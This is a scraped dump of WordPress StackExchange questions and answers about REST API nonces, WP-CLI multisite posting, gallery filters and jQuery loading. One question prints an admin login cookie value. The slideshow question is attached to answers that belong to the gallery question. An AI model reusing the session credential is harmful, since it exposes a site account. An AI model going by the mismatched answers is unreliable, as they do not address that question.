<p>Though I have logged in, I cannot create a post on frontend. WordPress always return <strong>401 Unauthorized</strong> response. I have dumped <code>$_COOKIE</code> to make sure logged-in cookie was set and got something like this:</p> <pre><code>array(1) { ["wordpress_logged_in_48f880f2beac6f39fb9ea8d9367e86d6"]=&gt; string(125) "admin|1495526369|PwQIf1tAM5khs2f6LKMgf0T7fP1RwHjl9T6OWW90QfD|6d3373f1a05f2fcbfccc429035b0519a012d3224f725b82d6f253a98862b072d" } </code></pre> <p>I have read entire REST API Handbook and many tuts:</p> <blockquote> <p>When you log in to your dashboard, this sets up the cookies correctly for you, so plugin and theme developers need only to have a logged-in user.</p> </blockquote> <p>but I cannot get it to work. Am I missing something or it only works on admin dashboard?</p> <p>Here is my source code:</p> <pre><code>// Localized data /* &lt;![CDATA[ */ var appData = {"routes":{"restUrl":"\/wp-json\/wp\/v2"}}; /* ]]&gt; */ // Post model App.Model.Post = Backbone.Model.extend({ urlRoot: appData.routes.restUrl + '/posts' } // Init $(document).ready(function() { var post = new App.Model.Post({ title: 'Posted via REST API', content: 'Lorem Ipsum is simply dummy text of the printing and typesetting industry.', }); var xhr = post.save(null, { success: function(model, response, options) { console.log(response); }, error: function(model, response, options) { console.log(response); } }); }); </code></pre>
[ { "answer_id": 267437, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 4, "selected": true, "text": "<p>It looks like you're missing the <strong>nonce</strong> part, as explained in the <a href=\"https://developer.wordpress.org/rest-api/using-the-rest-api/authentication/\" rel=\"noreferrer\">Authentication</a> chapter, in the <em>REST API Handbook</em>:</p>\n\n<blockquote>\n <p>Cookie authentication is the basic authentication method included with\n WordPress. When you log in to your dashboard, this sets up the cookies\n correctly for you, so plugin and theme developers need only to have a\n logged-in user.</p>\n \n <p>However, the REST API includes a technique called nonces to avoid CSRF\n issues. This prevents other sites from forcing you to perform actions\n without explicitly intending to do so. This requires slightly special\n handling for the API.</p>\n \n <p>For developers using the built-in Javascript API, this is handled\n automatically for you. This is the recommended way to use the API for\n plugins and themes. Custom data models can extend wp.api.models.Base\n to ensure this is sent correctly for any custom requests.</p>\n \n <p>For developers making manual Ajax requests, the nonce will need to be\n passed with each request. The API uses nonces with the action set to\n <code>wp_rest</code>. These can then be passed to the API via the <code>_wpnonce</code> data\n parameter (either POST data or in the query for GET requests), or via\n the <code>X-WP-Nonce</code> header.</p>\n</blockquote>\n\n<p>Based on the <a href=\"https://developer.wordpress.org/rest-api/using-the-rest-api/backbone-javascript-client/\" rel=\"noreferrer\">Backbone JavaScript Client</a> chapter, we can use the core <code>wp-api</code> REST API Backbone client library.</p>\n\n<p>Here's your modified snippet in a <code>/js/test.js</code> script file in the current theme directory:</p>\n\n<pre><code>wp.api.loadPromise.done( function() {\n\n // Create a new post\n var post = new wp.api.models.Post(\n {\n title: 'Posted via REST API',\n content: 'Lorem Ipsum ... ',\n status: 'draft', // 'draft' is default, 'publish' to publish it\n }\n );\n\n var xhr = post.save( null, {\n success: function(model, response, options) {\n console.log(response);\n },\n error: function(model, response, options) {\n console.log(response);\n }\n });\n\n});\n</code></pre>\n\n<p>where we enqueue the wp-api client library and our test script with:</p>\n\n<pre><code>add_action( 'wp_enqueue_scripts', function()\n{\n wp_enqueue_script( 'wp-api' );\n wp_enqueue_script( 'test_script', get_theme_file_uri( '/js/test.js' ), [ 'wp-api' ] );\n\n} );\n</code></pre>\n\n<p>within <code>functions.php</code> file in the current theme. </p>\n\n<p>Note that this test script just creates a new post draft, during each page load on the front-end, for a logged in user with the capability to create new posts.</p>\n" }, { "answer_id": 267442, "author": "nyedidikeke", "author_id": 105480, "author_profile": "https://wordpress.stackexchange.com/users/105480", "pm_score": 0, "selected": false, "text": "<p><strong>You don't need</strong> to login into your WordPress Dashboard before consuming the WordPress REST API from an external app; <strong>it's irrelevant</strong> (unless of course you want to rely on cookies as you are developing).</p>\n\n<p>It is important to note that you may already have your Cross-Origin Resource Sharing (CORS) enabled on your server side unless you are consuming from the same origin or same server.</p>\n\n<p>The HTTP response header 401 you had indicates an that an <em>unauthorized request</em> has been sent for processing and your response likely would have been:</p>\n\n<pre><code>{\n \"code\": \"rest_cannot_edit\",\n \"message\": \"Sorry, you are not allowed to edit this post.\",\n \"data\": {\n \"status\": 401\n }\n}\n</code></pre>\n\n<p>In other words, you are either <strong>not logged in</strong> into the application you request is originating from or the very user performing the action <strong>does not have the required permission to perform such an operation</strong>.</p>\n\n<p>Let's assume it is the first case (an unauthenticated user, who under normal circumstances has all rights to perform the intended action);</p>\n\n<p>The obvious solution has to do with <em>authenticating the user before performing the operation</em> as you've guessed.</p>\n\n<p>The question now is: <em>how to authenticate a WordPress user</em> via its in-built REST API?</p>\n\n<p>The good news is: there is a range of options available for you to chose from based on your requirements and or preferences.</p>\n\n<p>The snippet below demonstrates how you should go about it when using Backbone.js:</p>\n\n<pre><code>wp.api.loadPromise.done(function() {\n // Create a new post\n var post = new wp.api.models.Post({\n title: 'Posted via REST API',\n content: 'Lorem Ipsum is simply dummy text of the printing and typesetting industry.',\n });\n post.save(null, {\n success: function(model, response, options) {\n console.log(response);\n },\n error: function(model, response, options) {\n console.log(response);\n }\n });\n});\n</code></pre>\n\n<p>Remember to enqueue <code>wp-api</code> in your <code>functions.php</code> or plugin as below:</p>\n\n<pre><code>/**\n * Either of the two can be used to enqueues in-built WP-API;\n * not both as any of them enables you achieve the same result: to enqueue wp-api.\n * The only difference between them is that one does it independently without any condition\n * while the other does so with a condition: to enqueue it as a dependency for your script.\n */\nfunction wp_api() {\n // Use the line below to enqueue directly\n // (should your code directly reside in your functions.php or plugin).\n wp_enqueue_script( 'wp-api' );\n\n // Use this option instead if you want to enqueue it (wp-api)\n // as a dependency for your script (here, located in a js file) so as\n // to ensure that your script gets loaded only after wp-api does as it depends on it.\n wp_enqueue_script( 'my_script', 'path/to/my/script', array( 'wp-api' ) );\n}\nadd_action( 'init', 'wp_api' );\n</code></pre>\n\n<p><em>... more details on using Backbone JavaScript Client with WordPress REST API <a href=\"https://developer.wordpress.org/rest-api/using-the-rest-api/backbone-javascript-client/\" rel=\"nofollow noreferrer\">here</a>.</em></p>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267305", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/92212/" ]
Though I have logged in, I cannot create a post on frontend. WordPress always return **401 Unauthorized** response. I have dumped `$_COOKIE` to make sure logged-in cookie was set and got something like this: ``` array(1) { ["wordpress_logged_in_48f880f2beac6f39fb9ea8d9367e86d6"]=> string(125) "admin|1495526369|PwQIf1tAM5khs2f6LKMgf0T7fP1RwHjl9T6OWW90QfD|6d3373f1a05f2fcbfccc429035b0519a012d3224f725b82d6f253a98862b072d" } ``` I have read entire REST API Handbook and many tuts: > > When you log in to your dashboard, this sets up the cookies correctly > for you, so plugin and theme developers need only to have a logged-in user. > > > but I cannot get it to work. Am I missing something or it only works on admin dashboard? Here is my source code: ``` // Localized data /* <![CDATA[ */ var appData = {"routes":{"restUrl":"\/wp-json\/wp\/v2"}}; /* ]]> */ // Post model App.Model.Post = Backbone.Model.extend({ urlRoot: appData.routes.restUrl + '/posts' } // Init $(document).ready(function() { var post = new App.Model.Post({ title: 'Posted via REST API', content: 'Lorem Ipsum is simply dummy text of the printing and typesetting industry.', }); var xhr = post.save(null, { success: function(model, response, options) { console.log(response); }, error: function(model, response, options) { console.log(response); } }); }); ```
It looks like you're missing the **nonce** part, as explained in the [Authentication](https://developer.wordpress.org/rest-api/using-the-rest-api/authentication/) chapter, in the *REST API Handbook*: > > Cookie authentication is the basic authentication method included with > WordPress. When you log in to your dashboard, this sets up the cookies > correctly for you, so plugin and theme developers need only to have a > logged-in user. > > > However, the REST API includes a technique called nonces to avoid CSRF > issues. This prevents other sites from forcing you to perform actions > without explicitly intending to do so. This requires slightly special > handling for the API. > > > For developers using the built-in Javascript API, this is handled > automatically for you. This is the recommended way to use the API for > plugins and themes. Custom data models can extend wp.api.models.Base > to ensure this is sent correctly for any custom requests. > > > For developers making manual Ajax requests, the nonce will need to be > passed with each request. The API uses nonces with the action set to > `wp_rest`. These can then be passed to the API via the `_wpnonce` data > parameter (either POST data or in the query for GET requests), or via > the `X-WP-Nonce` header. > > > Based on the [Backbone JavaScript Client](https://developer.wordpress.org/rest-api/using-the-rest-api/backbone-javascript-client/) chapter, we can use the core `wp-api` REST API Backbone client library. Here's your modified snippet in a `/js/test.js` script file in the current theme directory: ``` wp.api.loadPromise.done( function() { // Create a new post var post = new wp.api.models.Post( { title: 'Posted via REST API', content: 'Lorem Ipsum ... ', status: 'draft', // 'draft' is default, 'publish' to publish it } ); var xhr = post.save( null, { success: function(model, response, options) { console.log(response); }, error: function(model, response, options) { console.log(response); } }); }); ``` where we enqueue the wp-api client library and our test script with: ``` add_action( 'wp_enqueue_scripts', function() { wp_enqueue_script( 'wp-api' ); wp_enqueue_script( 'test_script', get_theme_file_uri( '/js/test.js' ), [ 'wp-api' ] ); } ); ``` within `functions.php` file in the current theme. Note that this test script just creates a new post draft, during each page load on the front-end, for a logged in user with the capability to create new posts.
267,319
<p>How create post using <em>WP-CLI</em> at time of network site create. I am creating network sites using <em>WP-CLI</em>.<br> I have tried:</p> <pre><code>wp post create --post_type=page --post_title='ABC' --post_status=publish --network </code></pre> <p>But it creates post on main site. But, I want to create that post on network site which was created that time.</p> <p>Thanks in advance.<br> Any reference will be helpful.</p>
[ { "answer_id": 267325, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 3, "selected": true, "text": "<p>You can try the <code>--url</code> argument to target a given <strong>site</strong> in your network:</p>\n\n<pre><code>wp post create \\\n --post_type=page \\ \n --post_title='ABC' \\\n --post_status=publish \\\n --url=http://example.tld/somesite/\n</code></pre>\n\n<p>where you can view available site urls with</p>\n\n<pre><code>wp site list\n</code></pre>\n" }, { "answer_id": 339993, "author": "Trect", "author_id": 160004, "author_profile": "https://wordpress.stackexchange.com/users/160004", "pm_score": 1, "selected": false, "text": "<p>Global attribute <code>--url=&lt;url&gt;</code> is required to post in a networked site.</p>\n\n<p>wp post create <code>--url=subdomain.exampledomain.com [OPTIONS]</code></p>\n\n<p>Ref : <a href=\"https://developer.wordpress.org/cli/commands/post/create/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/cli/commands/post/create/</a></p>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267319", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119935/" ]
How create post using *WP-CLI* at time of network site create. I am creating network sites using *WP-CLI*. I have tried: ``` wp post create --post_type=page --post_title='ABC' --post_status=publish --network ``` But it creates post on main site. But, I want to create that post on network site which was created that time. Thanks in advance. Any reference will be helpful.
You can try the `--url` argument to target a given **site** in your network: ``` wp post create \ --post_type=page \ --post_title='ABC' \ --post_status=publish \ --url=http://example.tld/somesite/ ``` where you can view available site urls with ``` wp site list ```
267,330
<p>I am trying to add a container div to the WordPress gallery, I have this so far....</p> <pre><code>function gallery_custom( $output ) { $return = '&lt;div class="mydiv"&gt;'; $return = $output; $return = '&lt;/div&gt;'; return $return; } add_filter( 'post_gallery', 'gallery_custom', 10, 3 ); </code></pre> <p>This is not returning anything, any ideas where I am going wrong?</p>
[ { "answer_id": 267346, "author": "Vinod Dalvi", "author_id": 14347, "author_profile": "https://wordpress.stackexchange.com/users/14347", "pm_score": 1, "selected": false, "text": "<p>To achieve this you have to develop more custom code like following.</p>\n\n<pre><code>function gallery_custom( $output, $attr ) {\n\n global $post;\n\n if ( isset($attr['orderby'] ) ) {\n $attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );\n if ( ! $attr['orderby'] ) {\n unset( $attr['orderby'] );\n }\n }\n\n extract(shortcode_atts(array(\n 'order' =&gt; 'ASC',\n 'orderby' =&gt; 'menu_order ID',\n 'id' =&gt; $post-&gt;ID,\n 'itemtag' =&gt; 'dl',\n 'icontag' =&gt; 'dt',\n 'captiontag' =&gt; 'dd',\n 'columns' =&gt; 3,\n 'size' =&gt; 'thumbnail',\n 'include' =&gt; '',\n 'exclude' =&gt; ''\n ), $attr ));\n\n $id = intval( $id );\n if ('RAND' == $order ) $orderby = 'none';\n\n if ( ! empty( $include ) ) {\n $include = preg_replace('/[^0-9,]+/', '', $include);\n $_attachments = get_posts(array('include' =&gt; $include, 'post_status' =&gt; 'inherit', 'post_type' =&gt; 'attachment', 'post_mime_type' =&gt; 'image', 'order' =&gt; $order, 'orderby' =&gt; $orderby));\n\n $attachments = array();\n foreach ($_attachments as $key =&gt; $val) {\n $attachments[$val-&gt;ID] = $_attachments[$key];\n }\n }\n\n if ( empty( $attachments ) ) return '';\n\n $output = '&lt;div class=\"mydiv\"&gt;';\n\n // Here's your actual output, you may customize it to your need\n $output .= \"&lt;div class='gallery galleryid-$columns gallery-columns-$columns gallery-size-$size'&gt;\";\n\n // Now you loop through each attachment\n foreach ( $attachments as $id =&gt; $attachment ) {\n // Fetch the thumbnail (or full image, it's up to you)\n\n $img = wp_get_attachment_image_src( $id, $size );\n\n $output .= '&lt;figure class=\"gallery-item\"&gt;&lt;div class=\"gallery-icon landscape\"&gt;';\n $output .= '&lt;img src=\"' . $img[0] . '\" width=\"' . $img[1] . '\" height=\"' . $img[2] . '\" alt=\"\" /&gt;';\n $output .= '&lt;/div&gt;';\n if ( $captiontag &amp;&amp; trim($attachment-&gt;post_excerpt) ) {\n $output .= \"\n &lt;{$captiontag} class='gallery-caption'&gt;\n \" . wptexturize($attachment-&gt;post_excerpt) . \"\n &lt;/{$captiontag}&gt;\";\n }\n $output .= '&lt;/figure&gt;';\n }\n\n $output .= '&lt;/div&gt;&lt;/div&gt;';\n\n return $output;\n}\n\nadd_filter( 'post_gallery', 'gallery_custom', 10, 2 );\n</code></pre>\n" }, { "answer_id": 267385, "author": "Dave Romsey", "author_id": 2807, "author_profile": "https://wordpress.stackexchange.com/users/2807", "pm_score": 2, "selected": false, "text": "<p>Adding an HTML wrapper to the gallery can be done using the <code>post_gallery</code> filter. Here's a fully commented example.</p>\n\n<pre><code>add_filter( 'post_gallery', 'gallery_custom', 10, 3 );\n/**\n * Filters the default gallery shortcode output.\n *\n * If the filtered output isn't empty, it will be used instead of generating\n * the default gallery template.\n *\n * @see gallery_shortcode()\n *\n * @param string $output The gallery output. Default empty.\n * @param array $attr Attributes of the gallery shortcode.\n * @param int $instance Unique numeric ID of this gallery shortcode instance.\n */\nfunction gallery_custom( $output, $attr, $instance ) {\n // Remove the filter to prevent infinite loop.\n remove_filter( 'post_gallery', 'gallery_custom', 10, 3 );\n\n // Add opening wrapper.\n $return = '&lt;div class=\"mydiv\"&gt;';\n\n // Generate the standard gallery output.\n $return .= gallery_shortcode( $attr );\n\n // Add closing wrapper.\n $return .= '&lt;/div&gt;';\n\n // Add the filter for subsequent calls to gallery shortcode.\n add_filter( 'post_gallery', 'gallery_custom', 10, 3 );\n\n // Finally, return the output.\n return $return;\n}\n</code></pre>\n\n<p></p>\n\n<ul>\n<li><p>In <code>gallery_custom()</code>, it's important to remove the <code>post_gallery</code> filter before calling <code>gallery_shortcode()</code> because otherwise we'd run into an infinite loop.</p></li>\n<li><p>Note that output needs to be concatenated to <code>$return</code>. In your original code, <code>$return</code> is continuously being overwritten because <code>=</code> is used instead of <code>.=</code> after the string has been initialized.</p></li>\n<li><p>The main output is generated using the standard gallery output function, <code>gallery_shortcode( $attr );</code> Our filter will not be applied in this call because we've removed it at this point.</p></li>\n<li><p>After the gallery output has been concatenated to <code>$return</code>, we add the closing HTML tag and add our filter back so that it will be run the next time the gallery shortcode function is called.</p></li>\n<li><p>Finally we return the output.</p></li>\n</ul>\n\n<h1>Alternate solution: Replace <code>[gallery]</code> shortcode function:</h1>\n\n<p>Here's another approach to solving the problem. This time the default gallery output function, <code>gallery_shortcode()</code> is removed from the <code>gallery</code> shortcode string. Then, a replacement function, <code>wpse_custom_gallery_shortcode()</code> is wired up to the original <code>gallery</code> shortcode string.</p>\n\n<pre><code>// Replace the default [gallery] shortcode function with a custom function.\nadd_action( 'init', 'wpse_replace_gallery_shortcode' ); \nfunction wpse_replace_gallery_shortcode() {\n remove_shortcode( 'gallery', 'gallery_shortcode' );\n add_shortcode( 'gallery', 'wpse_custom_gallery_shortcode' );\n}\n\n// Customized gallery shortcode function.\n// See gallery_shortcode() for documentation.\nfunction wpse_custom_gallery_shortcode( $attr ) {\n $gallery = gallery_shortcode( $attr );\n\n if ( $gallery ) {\n return '&lt;div class=\"mydiv\"&gt;' . $gallery . '&lt;/div&gt;';\n }\n} \n</code></pre>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267330", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/10247/" ]
I am trying to add a container div to the WordPress gallery, I have this so far.... ``` function gallery_custom( $output ) { $return = '<div class="mydiv">'; $return = $output; $return = '</div>'; return $return; } add_filter( 'post_gallery', 'gallery_custom', 10, 3 ); ``` This is not returning anything, any ideas where I am going wrong?
Adding an HTML wrapper to the gallery can be done using the `post_gallery` filter. Here's a fully commented example. ``` add_filter( 'post_gallery', 'gallery_custom', 10, 3 ); /** * Filters the default gallery shortcode output. * * If the filtered output isn't empty, it will be used instead of generating * the default gallery template. * * @see gallery_shortcode() * * @param string $output The gallery output. Default empty. * @param array $attr Attributes of the gallery shortcode. * @param int $instance Unique numeric ID of this gallery shortcode instance. */ function gallery_custom( $output, $attr, $instance ) { // Remove the filter to prevent infinite loop. remove_filter( 'post_gallery', 'gallery_custom', 10, 3 ); // Add opening wrapper. $return = '<div class="mydiv">'; // Generate the standard gallery output. $return .= gallery_shortcode( $attr ); // Add closing wrapper. $return .= '</div>'; // Add the filter for subsequent calls to gallery shortcode. add_filter( 'post_gallery', 'gallery_custom', 10, 3 ); // Finally, return the output. return $return; } ``` * In `gallery_custom()`, it's important to remove the `post_gallery` filter before calling `gallery_shortcode()` because otherwise we'd run into an infinite loop. * Note that output needs to be concatenated to `$return`. In your original code, `$return` is continuously being overwritten because `=` is used instead of `.=` after the string has been initialized. * The main output is generated using the standard gallery output function, `gallery_shortcode( $attr );` Our filter will not be applied in this call because we've removed it at this point. * After the gallery output has been concatenated to `$return`, we add the closing HTML tag and add our filter back so that it will be run the next time the gallery shortcode function is called. * Finally we return the output. Alternate solution: Replace `[gallery]` shortcode function: =========================================================== Here's another approach to solving the problem. This time the default gallery output function, `gallery_shortcode()` is removed from the `gallery` shortcode string. Then, a replacement function, `wpse_custom_gallery_shortcode()` is wired up to the original `gallery` shortcode string. ``` // Replace the default [gallery] shortcode function with a custom function. add_action( 'init', 'wpse_replace_gallery_shortcode' ); function wpse_replace_gallery_shortcode() { remove_shortcode( 'gallery', 'gallery_shortcode' ); add_shortcode( 'gallery', 'wpse_custom_gallery_shortcode' ); } // Customized gallery shortcode function. // See gallery_shortcode() for documentation. function wpse_custom_gallery_shortcode( $attr ) { $gallery = gallery_shortcode( $attr ); if ( $gallery ) { return '<div class="mydiv">' . $gallery . '</div>'; } } ```
267,337
<p>I would like to show latest posts with its thumbnails only in slider. But my first figure element has a class. Can I apply a class to first thumbnail as it is in html structure below? And then Can I auto increment other images, when a user publish a new post with thumbnail?</p> <pre><code> &lt;div class="diy-slideshow"&gt; &lt;figure class="show"&gt; &lt;!-- last recent thumbnail --&gt; &lt;img src="http://themarklee.com/wp-content/uploads/2013/12/snowying.jpg" width="100%" /&gt; &lt;/figure&gt; &lt;figure&gt; &lt;!-- second from the last --&gt; &lt;img src="&lt;?php if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it. the_post_thumbnail_url();} ?&gt;" width="100%" /&gt; &lt;/figure&gt; &lt;!-- the rest will go on endless --&gt; &lt;figure&gt; &lt;!-- other latest posts thumbnails --&gt; &lt;/figure&gt; &lt;span class="prev"&gt;&amp;laquo;&lt;/span&gt; &lt;span class="next"&gt;&amp;raquo;&lt;/span&gt; &lt;/div&gt; </code></pre> <p>My question is that how can I display other latest post thumbnail in <code>&lt;figure&gt;&lt;/figure&gt;</code>, the above code displays only last latest posts thumbnail, I would like to go on showing thumbnails without limitation.</p> <p>The structure I was trying to create:</p> <pre><code>&lt;div class="diy-slideshow"&gt; &lt;figure class="show"&gt; &lt;!-- last recent thumbnail --&gt; &lt;/figure&gt; &lt;figure&gt; &lt;!-- second from the last --&gt; &lt;/figure&gt; &lt;figure&gt; &lt;!-- thirth from the last --&gt; &lt;/figure&gt; &lt;figure&gt; &lt;!-- fourt, fifth,sixth ... from the last --&gt; &lt;/figure&gt; &lt;span class="prev"&gt;&amp;laquo;&lt;/span&gt; &lt;span class="next"&gt;&amp;raquo;&lt;/span&gt; &lt;/div&gt; </code></pre> <p>Thank you in advance!</p>
[ { "answer_id": 267346, "author": "Vinod Dalvi", "author_id": 14347, "author_profile": "https://wordpress.stackexchange.com/users/14347", "pm_score": 1, "selected": false, "text": "<p>To achieve this you have to develop more custom code like following.</p>\n\n<pre><code>function gallery_custom( $output, $attr ) {\n\n global $post;\n\n if ( isset($attr['orderby'] ) ) {\n $attr['orderby'] = sanitize_sql_orderby( $attr['orderby'] );\n if ( ! $attr['orderby'] ) {\n unset( $attr['orderby'] );\n }\n }\n\n extract(shortcode_atts(array(\n 'order' =&gt; 'ASC',\n 'orderby' =&gt; 'menu_order ID',\n 'id' =&gt; $post-&gt;ID,\n 'itemtag' =&gt; 'dl',\n 'icontag' =&gt; 'dt',\n 'captiontag' =&gt; 'dd',\n 'columns' =&gt; 3,\n 'size' =&gt; 'thumbnail',\n 'include' =&gt; '',\n 'exclude' =&gt; ''\n ), $attr ));\n\n $id = intval( $id );\n if ('RAND' == $order ) $orderby = 'none';\n\n if ( ! empty( $include ) ) {\n $include = preg_replace('/[^0-9,]+/', '', $include);\n $_attachments = get_posts(array('include' =&gt; $include, 'post_status' =&gt; 'inherit', 'post_type' =&gt; 'attachment', 'post_mime_type' =&gt; 'image', 'order' =&gt; $order, 'orderby' =&gt; $orderby));\n\n $attachments = array();\n foreach ($_attachments as $key =&gt; $val) {\n $attachments[$val-&gt;ID] = $_attachments[$key];\n }\n }\n\n if ( empty( $attachments ) ) return '';\n\n $output = '&lt;div class=\"mydiv\"&gt;';\n\n // Here's your actual output, you may customize it to your need\n $output .= \"&lt;div class='gallery galleryid-$columns gallery-columns-$columns gallery-size-$size'&gt;\";\n\n // Now you loop through each attachment\n foreach ( $attachments as $id =&gt; $attachment ) {\n // Fetch the thumbnail (or full image, it's up to you)\n\n $img = wp_get_attachment_image_src( $id, $size );\n\n $output .= '&lt;figure class=\"gallery-item\"&gt;&lt;div class=\"gallery-icon landscape\"&gt;';\n $output .= '&lt;img src=\"' . $img[0] . '\" width=\"' . $img[1] . '\" height=\"' . $img[2] . '\" alt=\"\" /&gt;';\n $output .= '&lt;/div&gt;';\n if ( $captiontag &amp;&amp; trim($attachment-&gt;post_excerpt) ) {\n $output .= \"\n &lt;{$captiontag} class='gallery-caption'&gt;\n \" . wptexturize($attachment-&gt;post_excerpt) . \"\n &lt;/{$captiontag}&gt;\";\n }\n $output .= '&lt;/figure&gt;';\n }\n\n $output .= '&lt;/div&gt;&lt;/div&gt;';\n\n return $output;\n}\n\nadd_filter( 'post_gallery', 'gallery_custom', 10, 2 );\n</code></pre>\n" }, { "answer_id": 267385, "author": "Dave Romsey", "author_id": 2807, "author_profile": "https://wordpress.stackexchange.com/users/2807", "pm_score": 2, "selected": false, "text": "<p>Adding an HTML wrapper to the gallery can be done using the <code>post_gallery</code> filter. Here's a fully commented example.</p>\n\n<pre><code>add_filter( 'post_gallery', 'gallery_custom', 10, 3 );\n/**\n * Filters the default gallery shortcode output.\n *\n * If the filtered output isn't empty, it will be used instead of generating\n * the default gallery template.\n *\n * @see gallery_shortcode()\n *\n * @param string $output The gallery output. Default empty.\n * @param array $attr Attributes of the gallery shortcode.\n * @param int $instance Unique numeric ID of this gallery shortcode instance.\n */\nfunction gallery_custom( $output, $attr, $instance ) {\n // Remove the filter to prevent infinite loop.\n remove_filter( 'post_gallery', 'gallery_custom', 10, 3 );\n\n // Add opening wrapper.\n $return = '&lt;div class=\"mydiv\"&gt;';\n\n // Generate the standard gallery output.\n $return .= gallery_shortcode( $attr );\n\n // Add closing wrapper.\n $return .= '&lt;/div&gt;';\n\n // Add the filter for subsequent calls to gallery shortcode.\n add_filter( 'post_gallery', 'gallery_custom', 10, 3 );\n\n // Finally, return the output.\n return $return;\n}\n</code></pre>\n\n<p></p>\n\n<ul>\n<li><p>In <code>gallery_custom()</code>, it's important to remove the <code>post_gallery</code> filter before calling <code>gallery_shortcode()</code> because otherwise we'd run into an infinite loop.</p></li>\n<li><p>Note that output needs to be concatenated to <code>$return</code>. In your original code, <code>$return</code> is continuously being overwritten because <code>=</code> is used instead of <code>.=</code> after the string has been initialized.</p></li>\n<li><p>The main output is generated using the standard gallery output function, <code>gallery_shortcode( $attr );</code> Our filter will not be applied in this call because we've removed it at this point.</p></li>\n<li><p>After the gallery output has been concatenated to <code>$return</code>, we add the closing HTML tag and add our filter back so that it will be run the next time the gallery shortcode function is called.</p></li>\n<li><p>Finally we return the output.</p></li>\n</ul>\n\n<h1>Alternate solution: Replace <code>[gallery]</code> shortcode function:</h1>\n\n<p>Here's another approach to solving the problem. This time the default gallery output function, <code>gallery_shortcode()</code> is removed from the <code>gallery</code> shortcode string. Then, a replacement function, <code>wpse_custom_gallery_shortcode()</code> is wired up to the original <code>gallery</code> shortcode string.</p>\n\n<pre><code>// Replace the default [gallery] shortcode function with a custom function.\nadd_action( 'init', 'wpse_replace_gallery_shortcode' ); \nfunction wpse_replace_gallery_shortcode() {\n remove_shortcode( 'gallery', 'gallery_shortcode' );\n add_shortcode( 'gallery', 'wpse_custom_gallery_shortcode' );\n}\n\n// Customized gallery shortcode function.\n// See gallery_shortcode() for documentation.\nfunction wpse_custom_gallery_shortcode( $attr ) {\n $gallery = gallery_shortcode( $attr );\n\n if ( $gallery ) {\n return '&lt;div class=\"mydiv\"&gt;' . $gallery . '&lt;/div&gt;';\n }\n} \n</code></pre>\n" } ]
2017/05/18
[ "https://wordpress.stackexchange.com/questions/267337", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/113723/" ]
I would like to show latest posts with its thumbnails only in slider. But my first figure element has a class. Can I apply a class to first thumbnail as it is in html structure below? And then Can I auto increment other images, when a user publish a new post with thumbnail? ``` <div class="diy-slideshow"> <figure class="show"> <!-- last recent thumbnail --> <img src="http://themarklee.com/wp-content/uploads/2013/12/snowying.jpg" width="100%" /> </figure> <figure> <!-- second from the last --> <img src="<?php if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it. the_post_thumbnail_url();} ?>" width="100%" /> </figure> <!-- the rest will go on endless --> <figure> <!-- other latest posts thumbnails --> </figure> <span class="prev">&laquo;</span> <span class="next">&raquo;</span> </div> ``` My question is that how can I display other latest post thumbnail in `<figure></figure>`, the above code displays only last latest posts thumbnail, I would like to go on showing thumbnails without limitation. The structure I was trying to create: ``` <div class="diy-slideshow"> <figure class="show"> <!-- last recent thumbnail --> </figure> <figure> <!-- second from the last --> </figure> <figure> <!-- thirth from the last --> </figure> <figure> <!-- fourt, fifth,sixth ... from the last --> </figure> <span class="prev">&laquo;</span> <span class="next">&raquo;</span> </div> ``` Thank you in advance!
Adding an HTML wrapper to the gallery can be done using the `post_gallery` filter. Here's a fully commented example. ``` add_filter( 'post_gallery', 'gallery_custom', 10, 3 ); /** * Filters the default gallery shortcode output. * * If the filtered output isn't empty, it will be used instead of generating * the default gallery template. * * @see gallery_shortcode() * * @param string $output The gallery output. Default empty. * @param array $attr Attributes of the gallery shortcode. * @param int $instance Unique numeric ID of this gallery shortcode instance. */ function gallery_custom( $output, $attr, $instance ) { // Remove the filter to prevent infinite loop. remove_filter( 'post_gallery', 'gallery_custom', 10, 3 ); // Add opening wrapper. $return = '<div class="mydiv">'; // Generate the standard gallery output. $return .= gallery_shortcode( $attr ); // Add closing wrapper. $return .= '</div>'; // Add the filter for subsequent calls to gallery shortcode. add_filter( 'post_gallery', 'gallery_custom', 10, 3 ); // Finally, return the output. return $return; } ``` * In `gallery_custom()`, it's important to remove the `post_gallery` filter before calling `gallery_shortcode()` because otherwise we'd run into an infinite loop. * Note that output needs to be concatenated to `$return`. In your original code, `$return` is continuously being overwritten because `=` is used instead of `.=` after the string has been initialized. * The main output is generated using the standard gallery output function, `gallery_shortcode( $attr );` Our filter will not be applied in this call because we've removed it at this point. * After the gallery output has been concatenated to `$return`, we add the closing HTML tag and add our filter back so that it will be run the next time the gallery shortcode function is called. * Finally we return the output. Alternate solution: Replace `[gallery]` shortcode function: =========================================================== Here's another approach to solving the problem. This time the default gallery output function, `gallery_shortcode()` is removed from the `gallery` shortcode string. Then, a replacement function, `wpse_custom_gallery_shortcode()` is wired up to the original `gallery` shortcode string. ``` // Replace the default [gallery] shortcode function with a custom function. add_action( 'init', 'wpse_replace_gallery_shortcode' ); function wpse_replace_gallery_shortcode() { remove_shortcode( 'gallery', 'gallery_shortcode' ); add_shortcode( 'gallery', 'wpse_custom_gallery_shortcode' ); } // Customized gallery shortcode function. // See gallery_shortcode() for documentation. function wpse_custom_gallery_shortcode( $attr ) { $gallery = gallery_shortcode( $attr ); if ( $gallery ) { return '<div class="mydiv">' . $gallery . '</div>'; } } ```
267,339
<p>I have a plugin page, which doesn't have <code>header.php</code> or <code>footer.php</code>. How can I include Wordpress jQuery on this page so I can use syntax like below ?</p> <pre><code> jQuery(document).ready(function() { alert('hello'); }); </code></pre> <p>At the moment it says:</p> <pre><code>Uncaught ReferenceError: jQuery is not defined </code></pre>
